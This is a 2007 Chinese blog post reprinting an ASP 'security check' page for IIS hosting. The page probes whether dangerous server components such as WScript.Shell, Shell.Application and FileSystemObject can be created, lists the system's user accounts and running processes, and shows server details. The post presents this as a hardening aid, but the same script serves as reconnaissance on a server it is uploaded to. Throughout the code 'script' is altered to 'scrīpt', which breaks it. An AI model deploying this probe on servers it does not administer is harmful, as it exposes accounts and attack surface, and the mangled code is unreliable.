iboerwebsafecheck.asp
上一篇 / 下一篇 2007-12-01 01:05:56 / 个人分类:网络安全
<%@ Language="VBscrīpt" %>
<% Option Explicit
'http://www.iboer.com
'保留所有权利
'技术支持请访问 http://www.iboer.com
%>
<object runat="server" id="ws" scope="page" classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat="server" id="ws" scope="page" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="net" scope="page" classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat="server" id="net" scope="page" classid="clsid:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<object runat="server" id="ado" scope="page" classid="clsid:00000566-0000-0010-8000-00AA006D2EA4"></object>
<object runat="server" id="app" scope="page" classid="clsid:13709620-C279-11CE-A49E-444553540000"></object>
<object runat="server" id="hap" scope="page" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"></object>
<object runat="server" id="x1" scope="page" classid="clsid:2933BF90-7B36-11d2-B20E-00C04F983E60"></object>
<object runat="server" id="x2" scope="page" classid="clsid:f5078f1b-c551-11d3-89b9-0000f81fe221"></object>
<object runat="server" id="x3" scope="page" classid="clsid:f5078f32-c551-11d3-89b9-0000f81fe221"></object>
<object runat="server" id="x4" scope="page" classid="clsid:88d969c0-f192-11d4-a65f-0040963251e5"></object>
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<TITLE>7i24.Com ASP安全检测-V1.4</TITLE>
<style>
<!--
A { COLOR: #000000; FONT-FAMILY: 宋体; TEXT-DECORATION: none}
A:hover { COLOR: green; FONT-FAMILY: 宋体; TEXT-DECORATION: underline}
.A2 { COLOR: green; FONT-FAMILY: 宋体; TEXT-DECORATION: none}
.A2:hover { COLOR: #000000; FONT-FAMILY: 宋体; TEXT-DECORATION: underline}
body { font-family: 宋体; font-size: 9pt}
td { font-family: 宋体; font-size: 9pt}
.input { BACKGROUND-COLOR: #ffffff;BORDER:#3F8805 1px solid;FONT-SIZE: 9pt}
.backc { BACKGROUND-COLOR: #3F8805;BORDER:#3F8805 1px solid;FONT-SIZE: 9pt;color:white}
-->
</STYLE>
</HEAD>
<BODY>
7i24ASP安全检测-<font color=green>V1.3</font><br>
<br>
<font color=green>服务器的有关参数</font>
<table border=0 width=450 cellspacing=0 cellpadding=0 bgcolor="#3F8805">
<tr><td>
<table border=0 width=450 cellspacing=1 cellpadding=0>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> 服务器名</td><td> <%=Request.ServerVariables("SERVER_NAME")%></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> 服务器IP</td><td> <%=Request.ServerVariables("LOCAL_ADDR")%></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> 服务器端口</td><td> <%=Request.ServerVariables("SERVER_PORT")%></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> 服务器时间</td><td> <%=now%></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> IIS版本</td><td> <%=Request.ServerVariables("SERVER_SOFTWARE")%></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> 脚本超时时间</td><td> <%=Server.scrīptTimeout%> 秒</td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> 本文件路径</td><td> <%=server.mappath(Request.ServerVariables("scrīpt_NAME"))%></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> 服务器CPU数量</td><td> <%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个</td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> 服务器解译引擎</td><td> <%=scrīptEngine & "/"& scrīptEngineMajorVersion &"."&scrīptEngineMinorVersion&"."& scrīptEngineBuildVersion %></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> 服务器操作系统</td><td> <%=Request.ServerVariables("OS")%></td>
</tr>
</table>
</td></tr>
</table>
<br>
<font color="#FF0000"><br>
■ 安全描述</font>
<table border=0 width=648 cellspacing=0 cellpadding=0 bgcolor="#FF0000">
<tr><td>
<table width=100% border=0 cellpadding=0 cellspacing=1>
<tr height=18 style="color:#ffffff" align=center>
<td width=179>组 件 名 称</td>
<td width=466>状态</td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> Wscrīpt.Shell</td>
<td align="center"><%
dim havews
havews=IsObjInstalledX
Function IsObjInstalledX()
On Error Resume Next
IsObjInstalledX = False
Err = 0
ws.exec()
If 0 = Err Then
IsObjInstalledX = True
end if
Err = 0
End Function
%><a href="http://www.iboer.com" target="_blank">
建立组件提示信息:
<br><font color="#FF0000">提示信息中必须是"创建对象失败"或"Create object failed"才是安全的!如果是没有提示信息表明非常危险!</font></a></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> Shell.application</td>
<td align="center"><%
havews=IsObjInstalledX2
Function IsObjInstalledX2()
On Error Resume Next
IsObjInstalledX2 = False
Err = 0
app.exec()
If 0 = Err Then
IsObjInstalledX2 = True
end if
Err = 0
End Function
%><a href="http://www.iboer.com" target="_blank">
建立组件提示信息:
<br><font color="#FF0000">提示信息中必须是"创建对象失败"或"Create object failed"才是安全的!如果是没有提示信息表明非常危险!</font></a></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> Wscrīpt.NETWORK
</td>
<td align="center"><%
havews=IsObjInstalledX3
Function IsObjInstalledX3()
On Error Resume Next
IsObjInstalledX3 = False
Err = 0
net.exec()
If 0 = Err Then
IsObjInstalledX3 = True
end if
Err = 0
End Function
%><a href="http://www.iboer.com" target="_blank">
建立组件提示信息:
<br><font color="#FF0000">提示信息中必须是"创建对象失败"或"Create object failed"才是安全的!如果是没有提示信息表明非常危险!</font></a></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> scrīpting.FileSystemObject</td>
<td align="center"><%
havews=IsObjInstalledX4
Function IsObjInstalledX4()
On Error Resume Next
IsObjInstalledX4 = False
Err = 0
fso.exec()
If 0 = Err Then
IsObjInstalledX4 = True
end if
Err = 0
End Function
%><a href="http://www.iboer.com" target="_blank">
建立组件提示信息:
<br><font color="blue">FSO只是有潜在的安全问题,提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的!</font></a></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> ADODB.Stream
</td>
<td align="center"><%
havews=IsObjInstalledX5
Function IsObjInstalledX5()
On Error Resume Next
IsObjInstalledX5 = False
Err = 0
ado.exec()
If 0 = Err Then
IsObjInstalledX5 = True
end if
Err = 0
End Function
%><a href="http://www.iboer.com" target="_blank">
建立组件提示信息:
<br><font color="blue">ADODB.Stream只是有潜在的安全问题,提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的!</font></a></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> HappyTime
</td>
<td align="center"><%
havews=IsObjInstalledXHAP
Function IsObjInstalledXHAP()
On Error Resume Next
IsObjInstalledXHAP = False
Err = 0
hap.Reset
If 0 = Err Then
IsObjInstalledXHAP = True
end if
Err = 0
End Function
%><a href="http://www.iboer.com" target="_blank">
建立组件提示信息:
<br><font color="blue">欢乐时间病毒组件只是有潜在的安全问题,提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的!</font></a></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> XML_A
</td>
<td align="center"><%
havews=IsObjInstalledX6
Function IsObjInstalledX6()
On Error Resume Next
IsObjInstalledX6 = False
Err = 0
x1.exec()
If 0 = Err Then
IsObjInstalledX6 = True
end if
Err = 0
End Function
%><a href="http://www.iboer.com" target="_blank">
建立组件提示信息:
<br><font color="blue">XML有类似于FSO的操作权限,只是有潜在的安全问题,提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的!</font></a></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> XML_B
</td>
<td align="center"><%
havews=IsObjInstalledX7
Function IsObjInstalledX7()
On Error Resume Next
IsObjInstalledX7 = False
Err = 0
x2.exec()
If 0 = Err Then
IsObjInstalledX7 = True
end if
Err = 0
End Function
%><a href="http://www.iboer.com" target="_blank">
建立组件提示信息:
<br><font color="blue">XML有类似于FSO的操作权限,只是有潜在的安全问题,提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的!</font></a></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> XML_C
</td>
<td align="center"><%
havews=IsObjInstalledX8
Function IsObjInstalledX8()
On Error Resume Next
IsObjInstalledX8 = False
Err = 0
x3.exec()
If 0 = Err Then
IsObjInstalledX8 = True
end if
Err = 0
End Function
%><a href="http://www.iboer.com" target="_blank">
建立组件提示信息:
<br><font color="blue">XML有类似于FSO的操作权限,只是有潜在的安全问题,提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的!</font></a></td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> XML_D
</td>
<td align="center"><%
havews=IsObjInstalledX9
Function IsObjInstalledX9()
On Error Resume Next
IsObjInstalledX9 = False
Err = 0
x4.exec()
If 0 = Err Then
IsObjInstalledX9 = True
end if
Err = 0
End Function
%><a href="http://www.iboer.com" target="_blank">
建立组件提示信息:
<br><font color="blue">XML有类似于FSO的操作权限,只是有潜在的安全问题,提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的!</font></a></td>
</tr>
<tr height=18 style="color:#ffffff" align=center>
<td width=179>内容</td>
<td width=466>状态<font color="#FFFF00">(如果下面能列出用户名或进程都表示不安全!)</font></td>
</tr>
<%
dim obj
on error resume next
for each obj in getObject("WinNT://.")
err.clear%>
<tr bgcolor="#EEFEE0" height=18>
<td align=center><!--<%=obj.path%>-->
<%if err then
%>系统用户(组)<%else%>系统进程<%end if%>
</td>
<td> <a href="http://www.iboer.com" target="_blank"><%=obj.Name%>
<%if err then
else
%>(<%=obj.DisplayName%>)<%end if%>
<br> <%=obj.path%><font color="blue"></font></a></td>
</tr>
<%
next
%>
</table>
</td></tr>
</table>
<br>
<font color=green>ASP脚本解释和运算速度测试</font><br>
我们让服务器执行500万次“1+1”的计算,记录其所使用的时间。
<table border=0 width=450 cellspacing=0 cellpadding=0 bgcolor="#3F8805">
<tr><td>
<table border=0 width=450 cellspacing=1 cellpadding=0>
<tr style="color:#ffffff" height=18>
<td align=center>服 务 器</td><td align=center>完成时间</td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
<td align=left> PIV 2G</td>
<td> 3 秒</td>
</tr>
<form action="<%=Request.ServerVariables("scrīpt_NAME")%>" method=post>
<%
if Request.Form("test") <> "" then
dim t1,t2,lsabc,thetime
t1=now
for i=1 to 5000000
lsabc= 1 + 1
next
t2=now
thetime=cstr(int(cdbl((t2-t1)*24*60*60)+0.5))
%>
<tr bgcolor="#EEFEE0" height=25>
<td align=left> <font color=red>您正在使用的这台服务器</font> <INPUT type="submit" value="重新测试" class=backc id=submit2 name=test></td><td> <font color=red><%=thetime%> 秒</font></td>
</tr>
<%else%>
<tr bgcolor="#EEFEE0" height=25>
<td align=left> <font color=red>您正在使用的这台服务器</font></td><td> <INPUT type="submit" value="测 试" class=backc id=submit2 name=test></td>
</tr>
<%end if%>
</form>
</table>
</td></tr>
</table>
<br>
<table border=0 width=450 cellspacing=0 cellpadding=0>
<tr>
<td align=center> <a href="http://www.iboer.com" target="_blank">http://www.iboer.com</a> <a href="http://www.iboer.com" target="_blank">Iboer 中国领先的服务器软件与空间提供商 </a></td>
</tr>
</table>
</BODY>
</HTML>
相关阅读:
- 金盾防火墙/DDOS流量攻击抵御/集群方案 (jindun, 2007-3-16)
- 金盾防火墙/DDOS流量攻击抵御/集群方案 (jindun, 2007-3-16)
- 金盾防火墙集群方案 (jindun, 2007-5-27)
- Unix和Linux真能让网络更加安全吗? (joejoe0332, 2007-7-12)
- [手册]利用嗅探器之TcpDump分析网络安全 (joejoe0332, 2007-11-23)
- 安全服务--iboer Web studio (iboer, 2007-11-25)
TAG:
